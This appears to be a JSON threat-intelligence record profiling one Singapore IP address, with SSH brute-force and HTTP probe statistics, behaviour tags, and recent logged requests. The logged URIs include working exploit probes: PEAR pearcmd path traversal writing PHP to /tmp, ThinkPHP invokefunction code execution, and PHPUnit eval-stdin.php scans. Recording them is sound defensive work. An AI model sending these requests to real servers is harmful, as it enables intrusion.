{"ip":"121.6.97.6","first_seen":"2026-10-05T10:12:35.352706Z","last_seen":"2026-10-15T07:40:30.523Z","geo":{"country":"Singapore","country_code":"SG","city":"Singapore","asn":"AS9506 Singtel Fibre Broadband","isp":"Singapore Telecommunications Ltd, Magix Services","lat":1.32252,"lon":103.898},"stats":{"total_events":62,"ssh_events":14,"http_events":48,"ssh_failures":14,"http_4xx":48,"http_5xx":0,"distinct_usernames":4,"distinct_paths":48,"distinct_source_hosts":3},"behavior_tags":["actor.cross_protocol","actor.multi_vm","actor.persistent","probe.404flood","ssh.bruteforce"],"event_tags":["probe.admin","probe.cgi","probe.shell","probe.traversal","protocol.no-language","ssh.dictionary","ssh.enum"],"recent_events":[{"ts":"2026-10-15T07:40:30.523Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/containers/json","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:29.466Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/index.php?lang=../../../../../../../../tmp/index1","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":["probe.traversal","protocol.no-language","probe.traversal"]},{"ts":"2026-10-15T07:40:27.973Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd\u0026+config-create+/\u0026/\u003c?echo(md5(\"hi\"));?\u003e+/tmp/index1.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":["probe.traversal","protocol.no-language","probe.traversal"]},{"ts":"2026-10-15T07:40:26.618Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=Hello","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:25.283Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=Hello","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:23.974Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:22.162Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:20.333Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:19.104Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:17.542Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:15.868Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:14.801Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:13.791Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":["probe.admin"]},{"ts":"2026-10-15T07:40:12.567Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:11.569Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:10.534Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:09.469Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:08.411Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:07.466Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:06.237Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:05.184Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:04.429Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:03.414Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:02.203Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]},{"ts":"2026-10-15T07:40:00.678Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.142.115.158:443","source_host":"aws-apse1","tags":[]}],"generated_at":"2026-10-26T07:12:41.510411026Z"}